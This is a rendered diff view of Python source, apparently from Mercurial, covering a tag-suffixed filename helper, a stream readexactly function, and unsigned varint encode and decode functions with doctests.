3504 fn = b'%s~%s' % (f, tag)
3504 if fn not in ctx and fn not in others:
3505 if fn not in ctx and fn not in others:
3505 return fn
3506 return fn
3506 for n in itertools.count(1):
3507 for n in itertools.count(1):
3507 fn = b'%s~%s~%s' % (f, tag, n)
3508 fn = b'%s~%s~%s' % (f, tag, n)
3508 if fn not in ctx and fn not in others:
3509 if fn not in ctx and fn not in others:
3509 return fn
3510 return fn
3510
3511
3511
3512
3512 def readexactly(stream, n):
3513 def readexactly(stream, n):
3513 '''read n bytes from stream.read and abort if less was available'''
3514 '''read n bytes from stream.read and abort if less was available'''
3514 s = stream.read(n)
3515 s = stream.read(n)
3515 if len(s) < n:
3516 if len(s) < n:
3516 raise error.Abort(
3517 raise error.Abort(
3517 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3518 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3518 % (len(s), n)
3519 % (len(s), n)
3519 )
3520 )
3520 return s
3521 return s
3521
3522
3522
3523
3523 def uvarintencode(value):
3524 def uvarintencode(value):
3524 """Encode an unsigned integer value to a varint.
3525 """Encode an unsigned integer value to a varint.
3525
3526
3526 A varint is a variable length integer of 1 or more bytes. Each byte
3527 A varint is a variable length integer of 1 or more bytes. Each byte
3527 except the last has the most significant bit set. The lower 7 bits of
3528 except the last has the most significant bit set. The lower 7 bits of
3528 each byte store the 2's complement representation, least significant group
3529 each byte store the 2's complement representation, least significant group
3529 first.
3530 first.
3530
3531
3531 >>> uvarintencode(0)
3532 >>> uvarintencode(0)
3532 '\\x00'
3533 '\\x00'
3533 >>> uvarintencode(1)
3534 >>> uvarintencode(1)
3534 '\\x01'
3535 '\\x01'
3535 >>> uvarintencode(127)
3536 >>> uvarintencode(127)
3536 '\\x7f'
3537 '\\x7f'
3537 >>> uvarintencode(1337)
3538 >>> uvarintencode(1337)
3538 '\\xb9\\n'
3539 '\\xb9\\n'
3539 >>> uvarintencode(65536)
3540 >>> uvarintencode(65536)
3540 '\\x80\\x80\\x04'
3541 '\\x80\\x80\\x04'
3541 >>> uvarintencode(-1)
3542 >>> uvarintencode(-1)
3542 Traceback (most recent call last):
3543 Traceback (most recent call last):
3543 ...
3544 ...
3544 ProgrammingError: negative value for uvarint: -1
3545 ProgrammingError: negative value for uvarint: -1
3545 """
3546 """
3546 if value < 0:
3547 if value < 0:
3547 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3548 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3548 bits = value & 0x7F
3549 bits = value & 0x7F
3549 value >>= 7
3550 value >>= 7
3550 bytes = []
3551 bytes = []
3551 while value:
3552 while value:
3552 bytes.append(pycompat.bytechr(0x80 | bits))
3553 bytes.append(pycompat.bytechr(0x80 | bits))
3553 bits = value & 0x7F
3554 bits = value & 0x7F
3554 value >>= 7
3555 value >>= 7
3555 bytes.append(pycompat.bytechr(bits))
3556 bytes.append(pycompat.bytechr(bits))
3556
3557
3557 return b''.join(bytes)
3558 return b''.join(bytes)
3558
3559
3559
3560
3560 def uvarintdecodestream(fh):
3561 def uvarintdecodestream(fh):
3561 """Decode an unsigned variable length integer from a stream.
3562 """Decode an unsigned variable length integer from a stream.
3562
3563
3563 The passed argument is anything that has a ``.read(N)`` method.
3564 The passed argument is anything that has a ``.read(N)`` method.
3564
3565
3565 >>> try:
3566 >>> try:
3566 ... from StringIO import StringIO as BytesIO
3567 ... from StringIO import StringIO as BytesIO
3567 ... except ImportError:
3568 ... except ImportError:
3568 ... from io import BytesIO
3569 ... from io import BytesIO
3569 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3570 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3570 0
3571 0
3571 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3572 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3572 1
3573 1
3573 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3574 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3574 127
3575 127
3575 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3576 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3576 1337
3577 1337
3577 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3578 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3578 65536
3579 65536
3579 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3580 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3580 Traceback (most recent call last):
3581 Traceback (most recent call last):
3581 ...
3582 ...
3582 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3583 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3583 """
3584 """
3584 result = 0
3585 result = 0
3585 shift = 0
3586 shift = 0
3586 while True:
3587 while True:
3587 byte = ord(readexactly(fh, 1))
3588 byte = ord(readexactly(fh, 1))
3588 result |= (byte & 0x7F) << shift
3589 result |= (byte & 0x7F) << shift
3589 if not (byte & 0x80):
3590 if not (byte & 0x80):
3590 return result
3591 return result
3591 shift += 7
3592 shift += 7
General Comments 0
You need to be logged in to leave comments. Login now